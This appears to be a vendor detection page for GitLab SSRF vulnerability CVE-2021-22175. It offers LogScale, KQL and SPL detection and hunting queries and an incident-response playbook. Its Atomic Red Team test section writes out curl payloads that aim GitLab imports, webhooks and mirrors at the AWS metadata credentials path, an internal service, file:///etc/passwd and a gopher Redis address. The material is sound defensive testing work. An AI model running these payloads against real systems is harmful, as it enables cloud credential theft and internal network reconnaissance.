CVE-2021-22175 CrowdStrike LogScale · LogScale

Detect GitLab SSRF Exploitation (CVE-2021-22175) in CrowdStrike LogScale

Detects exploitation of CVE-2021-22175, a Server-Side Request Forgery (SSRF) vulnerability in GitLab. An attacker can craft requests that cause the GitLab server to make HTTP requests to internal or external resources, potentially exposing cloud metadata endpoints, internal services, or facilitating lateral movement. This vulnerability is listed in CISA's Known Exploited Vulnerabilities catalog.

MITRE ATT&CK

Tactic
Reconnaissance Discovery Lateral Movement

LogScale Detection Query

CrowdStrike LogScale (LogScale)
cql
#event_simpleName=NetworkReceiveAccept OR #event_simpleName=NetworkConnectIP4
| filter (RemotePort in [80, 443, 8080, 8443] OR LocalPort in [80, 443, 3000, 8080])
| filter (
    HttpPath = /\/(import|hook|webhook|integrations|api\/v4\/projects\/\d+\/import)/
    OR HttpQueryString = /url=http|import_url=|remote=http/
  )
| eval ssrf_indicator = case(
    match(HttpQueryString, "169\\.254\\.169\\.254"), "AWS_METADATA_ENDPOINT",
    match(HttpQueryString, "metadata\\.google\\.internal"), "GCP_METADATA_ENDPOINT",
    match(HttpQueryString, "localhost|127\\.0\\.0\\.1"), "LOOPBACK_ADDRESS",
    match(HttpQueryString, "file://|gopher://|dict://"), "DANGEROUS_SCHEME",
    match(RemoteIP, "^(10\\.|192\.168\.|172\.(1[6-9]|2[0-9]|3[01]))"), "INTERNAL_RFC1918",
    true(), null
  )
| filter ssrf_indicator != null
| stats count() AS request_count, earliest(timestamp) AS first_seen, latest(timestamp) AS last_seen, values(ssrf_indicator) AS ssrf_types, values(HttpPath) AS paths BY RemoteIP, LocalIP, ComputerName
| eval cve = "CVE-2021-22175"
| sort -request_count
high severity medium confidence

CrowdStrike Falcon LogScale query detecting network activity consistent with SSRF exploitation of CVE-2021-22175 in GitLab, identifying connections where HTTP parameters reference internal IPs, metadata services, or dangerous URL schemes.

Data Sources

CrowdStrike Falcon Network EventsCrowdStrike EDR HTTP Telemetry

Required Tables

main

False Positives & Tuning

  • Scheduled repository mirror syncs targeting internal GitLab instances
  • CI/CD automation that passes internal service URLs as webhook callback addresses
  • Security assessment tooling with authorized scope including SSRF testing
  • GitLab Geo replication processes that reference internal primary node addresses

Other platforms for CVE-2021-22175


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1GitLab SSRF via Project Import URL - AWS Metadata

    Expected signal: Outbound HTTP GET to 169.254.169.254 from GitLab server process; network flow record showing connection to 169.254.0.0/16 from GitLab host; GitLab production.log entry with import_url containing metadata endpoint

  2. Test 2GitLab SSRF via Webhook Creation - Internal Service Probe

    Expected signal: Network connection from GitLab server to 192.168.1.1:8500 visible in network flow data; GitLab web_hooks table entry with internal IP URL; web server access log showing webhook API POST with internal URL in body

  3. Test 3GitLab SSRF via Remote Mirror - Loopback File Access

    Expected signal: GitLab application log entries showing file:// or gopher:// scheme in remote mirror URL; database record in remote_mirrors table with dangerous URL scheme; error log entries from GitLab attempting to process the invalid/dangerous URL


Response Playbook

Triage

  1. Identify the source IP of the suspicious request and determine if it originates from an authenticated user, anonymous access, or a known scanner/bot by correlating with GitLab authentication logs.
  2. Inspect the full URL and request body of the flagged request, focusing on the `url`, `import_url`, or `remote` parameter values to determine the intended SSRF target (cloud metadata, internal service, loopback).
  3. Check GitLab server-side logs (production.log, application.log) for evidence of outbound connections made by the GitLab process following the suspicious inbound request — look for unusual external/internal HTTP calls.
  4. Determine if the GitLab instance is internet-facing or accessible only from trusted networks, and assess whether the SSRF target could expose sensitive infrastructure (cloud metadata with IAM credentials, internal APIs, etc.).

Containment

  1. If active exploitation is confirmed, immediately block the source IP at the perimeter firewall and WAF, and invalidate any GitLab session tokens or API keys associated with the attacker's account.
  2. Apply egress filtering on the GitLab server host to restrict outbound connections to only known-good destinations, preventing further SSRF-based data exfiltration to internal services or metadata endpoints.
  3. Rotate cloud provider IAM credentials immediately if the SSRF target included a cloud metadata endpoint (e.g., 169.254.169.254), as these may have been harvested by the attacker.

Evidence Collection

  1. Export GitLab production.log, nginx/apache access logs, and application.log covering the time window of the attack, preserving original timestamps and log integrity via hash (SHA-256).
  2. Capture network flow data (NetFlow/IPFIX) from the GitLab host for the attack window, focusing on outbound connections to internal RFC1918 ranges or cloud metadata IPs that occurred shortly after the inbound SSRF request.
  3. Collect GitLab audit log events (Admin Area > Monitoring > Audit Events) for the affected user account to identify any privilege escalation, repository access, or configuration changes made during or after the attack.

Escalation Criteria

  • !Escalate immediately if SSRF successfully reached a cloud metadata endpoint and response data (IAM tokens, instance identity) was returned — treat as a credential compromise incident requiring cloud security team involvement.
  • !Escalate if the SSRF was used to pivot to internal services (internal APIs, databases, secret managers) or if evidence exists that the attacker used harvested credentials to access additional systems.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >GitLab production.log entries showing outbound HTTP requests initiated by the Sidekiq or Puma process to internal/metadata IPs
  • >Web server access logs (nginx/apache) with full URI including query string for the targeted import/webhook/integration endpoints
  • >Network flow records showing outbound TCP connections from the GitLab server to 169.254.169.254 or RFC1918 addresses
  • >GitLab database records in the `remote_mirrors` or `web_hooks` tables showing attacker-supplied SSRF URLs
  • >Cloud provider access logs (AWS CloudTrail, GCP Audit Logs) showing IAM credential usage from the GitLab host's IP if metadata was successfully accessed

Tuning Guidance

Start by allowlisting known-good GitLab import sources (e.g., GitHub, Bitbucket public IPs) to reduce false positives from legitimate repository mirroring. Tune the RFC1918 detection to exclude your organization's approved internal GitLab Geo replication peer IPs. If GitLab Runners legitimately access internal artifact repositories, extract those IP ranges and suppress them. Raise confidence to 'high' once baseline legitimate import URL patterns are established. Consider setting the detection threshold to fire on the first occurrence (count >= 1) for cloud metadata endpoint targets (169.254.169.254), but require count >= 3 for generic RFC1918 targets to reduce noise from misconfigured webhooks.


Hunting Queries

Retroactive 30-day hunt for SSRF exploitation attempts against GitLab endpoints, searching for URL-encoded payloads targeting internal infrastructure across historical web and proxy logs.

Hunting — KQL
kql
AzureDiagnostics
| where Category == "ApplicationGatewayAccessLog"
| where TimeGenerated > ago(30d)
| where requestUri_s matches regex @"/(import|hook|webhook|integrations)"
| extend DecodedUri = url_decode(requestUri_s)
| where DecodedUri matches regex @"(169\.254|10\.|192\.168|172\.(1[6-9]|2\d|3[01])\.|localhost|127\.0|file://|gopher://)"
| summarize UniqueTargets=dcount(DecodedUri), Requests=count(), FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated) by SourceIP=clientIp_s
| order by Requests desc
Hunting — SPL
spl
index=web OR index=gitlab earliest=-30d
(sourcetype=access_combined OR sourcetype=nginx:access)
uri_path IN ("*/import*", "*/hook*", "*/webhook*", "*/integrations*")
| urldecode(uri_query) as decoded_query
| where match(decoded_query, "(169\.254\.169\.254|metadata\.google\.internal|localhost|127\.0\.0\.1|file://|gopher://|::1)")
| bin _time span=1h
| stats count AS hits, dc(src_ip) AS unique_sources, values(decoded_query) AS ssrf_payloads BY _time
| sort -hits

Atomic Red Team Tests

Test 1 GitLab SSRF via Project Import URL - AWS Metadata
linux

Simulates CVE-2021-22175 exploitation by creating a GitLab project import targeting the AWS EC2 metadata endpoint to test detection of cloud credential harvesting via SSRF.

Command

bash
curl -s -X POST 'http://GITLAB_HOST/api/v4/projects' \
  -H 'PRIVATE-TOKEN: ATTACKER_API_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"name": "ssrf-test-aws", "import_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
  | python3 -m json.tool

Cleanup

bash
curl -s -X DELETE 'http://GITLAB_HOST/api/v4/projects/$(curl -s http://GITLAB_HOST/api/v4/projects?search=ssrf-test-aws -H "PRIVATE-TOKEN: ATTACKER_API_TOKEN" | python3 -c "import sys,json; print(json.load(sys.stdin)[0][\"id\"])")-H 'PRIVATE-TOKEN: ATTACKER_API_TOKEN'

Expected Telemetry

Outbound HTTP GET to 169.254.169.254 from GitLab server process; network flow record showing connection to 169.254.0.0/16 from GitLab host; GitLab production.log entry with import_url containing metadata endpoint

Expected Detection

Alert fires on SSRF import request with AWS metadata endpoint target; cloud metadata access attempt logged in network telemetry

Test 2 GitLab SSRF via Webhook Creation - Internal Service Probe
linux

Creates a GitLab project webhook pointing to an internal service IP to test SSRF detection through the webhook delivery mechanism, simulating internal network reconnaissance.

Command

bash
# First create a project
PROJECT_ID=$(curl -s -X POST 'http://GITLAB_HOST/api/v4/projects' \
  -H 'PRIVATE-TOKEN: ATTACKER_API_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"name": "webhook-ssrf-test"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")

# Create webhook targeting internal service
curl -s -X POST "http://GITLAB_HOST/api/v4/projects/${PROJECT_ID}/hooks" \
  -H 'PRIVATE-TOKEN: ATTACKER_API_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"url": "http://192.168.1.1:8500/v1/agent/self", "push_events": true}'

# Trigger the webhook via a test push event
curl -s -X POST "http://GITLAB_HOST/api/v4/projects/${PROJECT_ID}/hooks/${HOOK_ID}/test" \
  -H 'PRIVATE-TOKEN: ATTACKER_API_TOKEN'

Cleanup

bash
curl -s -X DELETE "http://GITLAB_HOST/api/v4/projects/${PROJECT_ID}" -H 'PRIVATE-TOKEN: ATTACKER_API_TOKEN'

Expected Telemetry

Network connection from GitLab server to 192.168.1.1:8500 visible in network flow data; GitLab web_hooks table entry with internal IP URL; web server access log showing webhook API POST with internal URL in body

Expected Detection

SSRF detection via network egress monitoring showing GitLab process initiating connection to RFC1918 address; webhook creation event with internal IP flagged in audit log analysis

Test 3 GitLab SSRF via Remote Mirror - Loopback File Access
linux

Attempts to configure a GitLab remote mirror using the file:// scheme to access local filesystem content, testing detection of dangerous URL scheme abuse in SSRF context.

Command

bash
curl -s -X POST 'http://GITLAB_HOST/api/v4/projects/TARGET_PROJECT_ID/remote_mirrors' \
  -H 'PRIVATE-TOKEN: ATTACKER_API_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"url": "file:///etc/passwd", "enabled": true}' | python3 -m json.tool

# Alternative: attempt with gopher scheme for internal service interaction
curl -s -X POST 'http://GITLAB_HOST/api/v4/projects/TARGET_PROJECT_ID/remote_mirrors' \
  -H 'PRIVATE-TOKEN: ATTACKER_API_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"url": "gopher://127.0.0.1:6379/_INFO%0D%0A", "enabled": true}' | python3 -m json.tool

Cleanup

bash
curl -s -X DELETE 'http://GITLAB_HOST/api/v4/projects/TARGET_PROJECT_ID/remote_mirrors/MIRROR_ID' -H 'PRIVATE-TOKEN: ATTACKER_API_TOKEN'

Expected Telemetry

GitLab application log entries showing file:// or gopher:// scheme in remote mirror URL; database record in remote_mirrors table with dangerous URL scheme; error log entries from GitLab attempting to process the invalid/dangerous URL

Expected Detection

Detection of dangerous URL scheme (file://, gopher://) in GitLab API request parameters; alert on remote mirror creation with non-HTTP/HTTPS URL scheme

Related Detections